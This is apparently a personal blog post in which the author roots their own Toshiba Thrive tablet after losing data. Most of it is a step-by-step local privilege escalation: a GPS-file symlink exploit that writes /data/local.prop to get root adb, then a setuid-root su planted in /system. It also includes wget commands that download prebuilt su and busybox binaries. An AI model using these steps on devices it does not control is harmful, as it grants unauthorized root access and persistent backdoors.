Rooting the Toshiba Thrive r6 (See the current copy)

... because Toshiba is a horrible system administrator

I recently acquired a tablet computer running the Android operating system. It's a model called "Thrive" made by "Toshiba".

The device itself is nice, and Android has a very polished-looking user interface. I was a happy consumer, using apps from the Android Market to generate data on the system assuming that the data was being backed up to the "Google Cloud" since I had checked a button to that affect during start-up.

My happiness went on for several months until the device suddenly started prompting me for a password at boot-up. This was unexpected as no password had ever been set for the device. Puzzled I called the manufacturer (Toshiba)'s technical support. They respond that the only way to resolve the issue is to reset the device to its factory default settings which will lose all my data.

Not wanting to lose my data, and not having a lot of time to look into the issue I put the device away for a while. I eventually give in and do a factory default reset -- I'm not in a WiFi area so I don't get my data back from the "Google Cloud" -- oops!

I chalk it up to chance and recreate the data I lost as much as possible and as best as possible. I enable "USB Debugging" so I can interface with the device the next time it happens.

A few weeks later, I power the device down forcefully due to an issue and it refuses to boot back up.

Fortunately "USB Debugging" is enabled so I can login to the device and look at the system and fix the issue.

I find the issue fairly quickly -- "/data" is mounted read-only due to a corrupted EXT4 journal. The "/data" filesystem needs to be checked with "fsck". This is an easy enough procedure, however there are a few problems:

  1. I am not root; and
  2. There is no "fsck" on the system

This makes me mad. I am faced with the possibility of losing data because the GUI won't start because "/data" is mounted read-only due to something as simple as not being able to perform a filesystem check (fsck). I call the manufacturer (Toshiba) and they are complete failures with regards to performing administrative operations on the device that they support (I say they support it because they have locked me out of the device so that it is impossible for me to support it). They promise to call be back in "3 to 5 business day". They never do.

Eventually I give up on that dream and wipe my data again, this time in a WiFi area so I can restore from the "Google Cloud". I then find out the "Google Cloud" only keeps a very tiny amount of my data backed up. Awesome.

I look into the issue some more and discover that there is in fact no way for me to back the system up (since I do not have administrative access to it, and there's no pre-installed services for it). Fail.

Since Toshiba has failed to support the system as the defacto system administrator I decide to fire them and take control of the device myself.

Since I upgraded the device to the latest firmware when it came out the "fastboot" option was removed from the bootloader so I had no easy way to boot off of a custom kernel and initramfs/initrd and add a "su" to the system.

So I went looking around the Internet and discovered someone had found an exploit related to the GPS software.

They found out that if you started Google Maps it would create "/data/gps/gldata.sto" with world-writable permissions as root, and that "/data/gps" was itself world-writable. So if you setup a symlink named "/data/gps/gldata.sto" that points to a non-existant file you want to write to it will create it with world-writable permissions for you. The file "/data/local.prop" is such a file and you can use that to convince the system to start "adb" as root on next boot.

Once you are root on the system it's "game over" and you can install a suid root "su" in "/system/bin" for future use.

Here are the exact steps I took to take control of my Toshiba Thrive:

  1. Enable USB Debugging through the Settings on the system
  2. Plug the device into a computer using a USB cable
  3. Run "adb shell" on the computer ("adb" is the Android Debugging Bridge and part of the Android SDK)
  4. This should start a shell on the device as user "shell"
    1. You can verify this by running "id" at the $ prompt
  5. Move the "gldata.sto" out of the way and replace it with a (dangling) symlink to "/data/local.prop"
    1. $ mv /data/gps/gldata.sto /data/gps/gldata.sto.bak
    2. $ ln -s /data/local.prop /data/gps/gldata.sto
  6. Start "Google Maps" on the system and wait for it to acquire a GPS lock
  7. Exit "Google Maps"
  8. Verify that "/data/local.prop" has been created with world-writable permissions
    1. $ ls -l /data/local.prop
  9. If not, return to step #6 and try again
  10. Next restore the "gldata.sto" file
    1. $ rm -f /data/gps/gldata.sto
    2. $ mv /data/gps/gldata.sto.bak /data/gps/gldata.sto
  11. Then write the data you want to be in "/data/local.prop":
    1. $ echo "ro.kernel.qemu=1" > /data/local.prop
    2. $ echo "ro.sys.atvc_allow_all_adb=1" >> /data/local.prop
  12. Reboot the Android system by holding down the power button until it asks if you want to Shutdown, then respond "Yes"
  13. Restart your shell (hopefully as root!) by running "adb shell" on the computer
  14. You should now be root
  15. You can verify this by running "id" at the prompt (which should be a #)
  16. The next step is to install a suid-root "su"
    1. Since "/system" is the only filesystem mounted without the "nosuid" option it will need to live here
    2. Attempting to remount "/system" read-write (i.e., # mount -o remount,rw /system resulted in "Operation not permitted") and attempting to simply mount the device read-write somewhere else (i.e., # mount -t ext4 /dev/block/mmcblk0p3 /dev/tmpdir) also failed similarly. I am guessing this is some sort of misguided attempt by Toshiba to prevent people from becoming their own system administrator.
    3. In order to mount up the filesystem read-write, therefore, we must find the filesystem first.
    4. To do this I installed "busybox" in a directory in "/data" (I named mine "/data/x-root")
      1. # mkdir /data/x-root /data/x-root/bin
      2. user@workstation$ wget http://www.rkeene.org/projects/info/resources/diatribes/root-toshiba-thrive/busybox
      3. user@workstation$ wget http://www.rkeene.org/projects/info/resources/diatribes/root-toshiba-thrive/su
      4. user@workstation$ adb push busybox /data/x-root/bin/busybox
      5. user@workstation$ adb push su /data/x-root/bin/su
      6. user@workstation$ adb shell
      7. # cd /data/x-root/bin
      8. # chmod 755 busybox
      9. # ./busybox bash
      10. # for tool in $(./busybox --list); do ln -s busybox $tool; done
    5. I added my new directory to my path:
      1. # PATH="${PATH}:/data/x-root/bin"; export PATH
    6. Next, I ran "losetup" to create a loop device to mount "/system" from with an offset into the disk simulating having a partition table
      1. # mknod /dev/loop0 b 7 0
      2. # losetup -o 20971520 /dev/loop0 /dev/block/mmcblk0
    7. Then I mounted up that block device read-only to verify that it is what I expected
      1. # mkdir /dev/tmpdir
      2. # mount -o ro -t ext4 /dev/loop0 /dev/tmpdir
      3. # ls -l /dev/tmpdir
    8. After confirming that "/dev/tmpdir" and "/system" are indeed the same filesystem, I mounted it read-write
      1. # umount /dev/loop0
      2. # mount -t ext4 /dev/loop0 /dev/tmpdir
    9. Then, finally, I copied "su" over and made it setuid-root
      1. # cp /data/x-root/bin/su /dev/tmpdir/bin/
      2. # chmod 4555 /dev/tmpdir/bin/su
    10. Next I unmounted the filesystem
      1. # umount /dev/tmpdir
      2. # losetup -d /dev/loop0
      3. # sync
    11. And rebooted the system (again, by holding down the power button until prompted to shutdown, then selecting yes) so "/system" would get remounted with its new contents
  17. Now that I'm root I can backup the device
    1. To that I installed "DroidSSHd" from the Android Market and then also installed rsync [1] into "/data/x-root/bin"
  18. I declared victory.